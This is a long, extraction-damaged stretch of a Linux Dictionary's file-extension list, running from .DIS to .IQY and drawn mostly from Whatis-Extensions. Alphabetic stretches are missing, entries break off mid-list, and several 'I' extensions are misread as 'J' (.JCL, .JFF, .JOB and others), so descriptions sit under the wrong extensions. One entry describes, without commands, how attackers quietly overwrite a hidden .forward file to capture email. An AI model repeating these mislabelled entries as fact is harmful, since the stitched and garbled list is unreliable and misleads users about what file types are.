Ray Tracer file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIS**
Thesaurus file (CorelDraw) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DIZ**
Description file (Description in ZIP) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.DKB

Graphics file (Ray Traced DKBTrace) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DL

Image From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DLD

Datafile (Lotus 1-2-3) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DLG

C++ Dialogue Script From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DLL

<http://searchWin2000.techtarget.com/sDefinition/0,,sid1_gci213902,00.html> Dynamic-link library file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DLL

Export/Import Filter (CorelDraw) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DLS

Downloadable sound From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DLS

Interactive music architecture (IMA)(Microsoft),(Blood2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DLS

Setup file (Norton DiskLock) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DMD

Visual dBASE data module From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DMF

Packed Amiga disk image From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DMF

X-Trakker music module (MOD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DMO

Demo file (Derive) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DMP

Dump file (Screen or Memory) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DMS

Compressed Archive (Amiga DISKMASHER) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DOB

Visual Basic User document From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DOC

DisplayWrite document From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.DOC

Linux Dictionary

- Document format (Interleaf) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOC**
FrameMaker or FrameBuilder document From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOC**
Microsoft Word document From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOC**
WordPerfect document From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOC**
WordStar document From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOG**
Screen Saver file (Laughing Dog Screen Saver) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOH**
Dependency Information file (Geoworks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOS**
External Command file (1st Reader) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOS**
Network Driver file (PKT_DIS.dos) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOS**
Text file (DOS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOT**
Line-Type definition (CorelDraw) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOT**
Word Document Template (Microsoft Word for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOX**
Text file (MultiMate 4.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOX**
User document binary form (Visual Basic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DOZ**
Description out of Zip (VENDINFO) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DP**
Calendar file (Daily Planner) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DP**
Datafile (DataPhile) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DPL**

Linux Dictionary

- Borland Delphi 3 packed library From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DPR**
Project header (Borland C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DPT**
Publication file (Publish-It!) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .DR9**
Directory file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Ensoniq VFX-SD disk image From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EEB**
Button Bar for Equation editor (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EFA**
Ensoniq ASR file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EFE**
Ensoniq EPS file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EFK**
Ensoniq KT file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EFQ**
Ensoniq SQ1/SQ2/KS32 file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EFS**
Ensoniq SQ80 file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EFT**
High Resolution Screen Font (ChiWriter) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EFV**
Ensoniq VFX-SD file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EFX**
Fax document (Efax Reader) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EFX**
Fax Document (Everex EFax) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EGA**
EGA Display font (Ventura Publisher) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .el**
Lisp program source. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EL**

Linux Dictionary

- Lisp Source code (eMacs) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ELC**
eMac Lisp Source code (byte-compiled) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ELM**
Theme-Pack file for (Microsoft FrontPage) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ELT**
Event List Text file (Prosa) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EMB**
Embedded bank File (Everest) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EMD**
ABT Extended MoDule From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EMF**
Enhanced Windows Metafile From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EML**
Microsoft Outlook Express mail message (MIME RFC 822) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EMS**
Enhanced Menu System Configuration file (PC Tools) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EMU**
Terminal Emulation Data file (BITCOM) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ENC**
Encoded file (UUENCODEd File, Lotus 1-2-3) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ENC**
Music file (Encore) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ENC**
Video file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .END**
Arrow-Head Definition Table (CorelDraw) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ENFF**
Neutral Format From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ENG**
Chart Graphics file (EnerGraphics) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ENG**
Dictionary Engine file (Sprint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ENV**

Linux Dictionary

- Envelope Macro (WOPR) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ENV**
Environment file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EPD**
Publication file (Express Publisher) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EPHTML**
Enhanced Perl-parsed HTML From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EPI**
Document file (Express Publisher) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EPS**
Encapsulated Postscript image file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EPS**
Encapsulated Postscript Vector graphics (Adobe Illustrator) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EPS**
Printer font (Epson, Xerox, Ventura Publisher) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Adobe Level II Encapsulated Postscript From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EPSF**
Encapsulated PostScript From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EPSI**
Adobe Encapsulated Postscript Interchange From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .EQN**
Equation file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ER1**
ERWin file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ERD**
Entity Relationship Diagram graphic file (Prosa) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ERM**
Entity Relationship Diagram Model file (Prosa) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ERR**
Compilation error file (Microsoft Visual FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ERR**
Stores the error messages that result when the RoboHELP Help From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ERX**
ERWin file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.ESH

Extended Shell Batch file (DOS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.ESL

Distributable support library file (Microsoft Visual FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.ESPS

ESPS audio file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.ETH

Document file (Ethnograph 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.ETX

Structure Enhanced text (SetText) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EUI

Ensoniq ESP family compacted disk image From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EVT

Event Log (Microsoft Windows NT, 2000) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EVY

Document (WordPerfect for Windows Envoy) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EWD

Text Document (Express Publisher for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EWL

Microsoft Encarta document From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EX3

Device Driver file (Harvard Graphics 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EXC

Exclude file for Optimize (do not process, QEMM) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EXC

Microsoft Word Exclusion Dictionary file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EXC

Source Code file (Rexx VM/CMS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EXE

Executable <http://WhatIs.techtarget.com/definition/0,,sid9_gci212086,00.html> file (program) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EXP

Saved chat (ICQ) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EXT

ASCII binary transfer file (WS_FTP PRO) (IPSWITCH Software) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EXT2

Second extended file system (Linux) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EXT3

Third extended file system (Linux) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.EZP

Compressed file (Edify.zip) (Edify Electronic Workforce Backup Utility) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F

Compressed file archive (FREEZE) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F

FORTTRAN file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F01

Fax document (Perfect Fax) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F06

Dos screen text font (height= 6 pixels) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F07

Dos screen text font (height= 7 pixels) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F08

Dos screen text font (height= 8 pixels) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F09

Dos screen text font (height= 9 pixels) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F10

Dos screen text font (height= 10 pixels) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F11

Dos screen text font (height= 11 pixels) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F12

Dos screen text font (height= 12 pixels) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F13

Dos screen text font (height= 13 pixels) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F14

Dos screen text font (height= 14 pixels) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F15

Dos screen text font (height= 15 pixels) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.F16

Dos screen text font (height= 16 pixels) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.FON

System font (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.FOR

Form (WindowBase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.FOR

FORTRAN source code From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.forward

On UNIX, a user can place an e-mail address in his ".forward" file. This will cause all e-mail sent to his account to be forwarded to that e-mail address. This file is a prime target of attackers. If they can overwrite this file, they can subtly start capturing the user's e-mail. This is especially dangerous if the account in question is the root account. Note that the user doesn't have to know any about this file or have one on his system. The mere creation of this file by the intruder will activate this feature. Furthermore, since this file starts with a 'dot', it is normally hidden from the user, so they won't even be aware that this feature exists. From Hacking-Lexicon

.HPP

Program header (C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HQX

BinHex (Macintosh 4.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HRF

Rastor graphic (Hitachi) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HRM

Alternate menu for limited users (ProComm Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.HS2

Monochrome image (Postering) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HSC

FM synthesized music file (Used by many old games, e.g.:FINTRIS, ROL) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HSI

Graphic (Handmade Software, Inc.) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HST

History file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HST

History file (ProComm Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HT

HyperTerminal file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HTA

A HTML file that has been used to by viruses to update the system registry From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HTM

A Web page (a file containing Hypertext Markup Language – HTML – markup) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.htm, .html, .shtm, .html

Hypertext Markup Language. A web page of some sort. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HTML

<http://searchWebServices.techtarget.com/sDefinition/0,,sid26_gci212286,00.html> A Web page (a file containing Hypertext Markup Language – HTML – markup) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HTT

Hypertext template (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HTX

Template (Extended HTML) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HWD

Presentation (Hollywood) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HWP

Korean word processor document format (HanGul) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HXM

Alternate protocol selection menu (ProComm Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HXM

HAM extension (Descent2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.HXX

Linux Dictionary

- Header file (C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .HY1**
Hyphenation alorythm (Ventura Publisher) From Whatis-Extensions

Drawing file (IronClad) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .JCL**
Icon Library (Generic industry standard) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ICM**
Image Color Matching profile From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ICN**
Icon source code From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ICO**
Icon (Microsoft Windows 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ICS**
Scene file (IronClad) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ID**
Disk identification file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IDB**
Intermediate file (Microsoft Developer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IDD**
MIDI <http://WhatIs.techtarget.com/definition/0,,sid9_gci212572,00.html> Instrument Definition
From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IDE**
Project file (Borland C++ v4.5) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IDF**
MIDI Instrument Definition (Windows 95 required file) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IDIF**
Identification file (Netscape saved address book) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IDQ**
Data Query (Internet) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IDW**
Vector graphic (IntelliDraw) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IDX**
Index file (Microsoft Clip Gallery v. 1.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IDX**
Index file (Pro/Engineer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IDX**
Microsoft Outlook Express file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IDX**
Relational database index (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.IDX

Relational database index (Symantec Q&A) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.IFD

Form (JetForm Design) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.IFF

Image (Sun TAAC/SDSC Image Tool) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JFF

Interchange file, (general purpose data storage format)) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JFO

Digital Video Disk (DVD) datafile From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JFO

Graphic object layer data (ImageForge Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JFP

Script file (KnowledgeMan) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JFS

Compressed fractal image (Yuvpak) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JFS

Create executable library (ImageForge/ImageForge Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JFS

System file (OS/2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JGES

Initial Graphics Exchange Specification (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JGF

Metafile (Inset Systems) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JIF

Interchange file (QuickBooks for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JIM

Music module From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JLB

Datafile (Scream Tracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JLBM

Bitmap (graphic image) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JLK

Program outline (Microsoft ILink incremental linker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JM8

Linux Dictionary

- Raster graphic (Sun Microsystems) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IMA**
Image (WinImage) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IMA**
Vector graphic (EGO,Chart) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IMF**
MIDI music file (Corridor 7, Blake Stone, Wolfenstein 3D, Spear of Destiny) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IMG**
Bitmap graphic (Ventura Publisher) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IMG**
Image (GEM) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IMP**
Spreadsheet (Lotus Improv) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IMQ**
Image presentation (ImageQ) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IMS**
Create executable library data (IconForge) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .in**
configure input file. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IN\$**
Installation file (HP NewWave) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IN3**
Input device driver (Harvard Graphics v3.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INB**
Test script (Vermont High Test) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .inbound**
internet email message (Microsoft Exchange Server v 5.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INC**
Include file (Assembler language or Active Server) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IND**
Index (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IND**
Shared Database file (Specifically in Microsoft Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .Individual**

Linux Dictionary

- Software MultiModule screensaver From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INF**
Information file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INF**
Install script (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INF**
Type I LaserJet font information file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .info**
Info pages read with the info command. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INI**
Bank setup file (Gravis UltraSound) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INI**
Initialization file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INI**
Setup file (MWave DSP synth's mwsynth.ini GM) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INK**
Pantone reference fills file (CorelDRAW) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INL**
Inline function file (Microsoft Visual C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INP**
Source code for form, (Oracle, version 3.0 and earlier) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INRS**
INRS-Telecommunications audio From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INS**
Datafile (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INS**
Install script (InstallShield) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INS**
Installation script (1st Reader) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INS**
Instrument file (Ensoniq EPS Family) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INS**
Instrument music file (Adlib) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INS**

Linux Dictionary

- Sample (Cell/II MAC/PC instruments) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INS**
Sign-up file (X-Internet) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INT**
Interfaced units (Borland) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INT**
Intermediate executable code (Produced when a source program is syntax-checked) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .INX**
Index file (Foxbase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IO**
Compressed archive (CPIO) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .JOB**
3D graphics database (TDDD format) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IOC**
Organizational chart (Instant ORGcharting!) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IOF**
Findit document (Microsoft Findit) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ION**
File description (4dos descript.ion) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IPL**
Pantone Spot reference palette (CorelDRAW) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IPS**
International patching system binary patch file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IQY**
Internet inquiry (Microsoft) From Whatis-Extensions
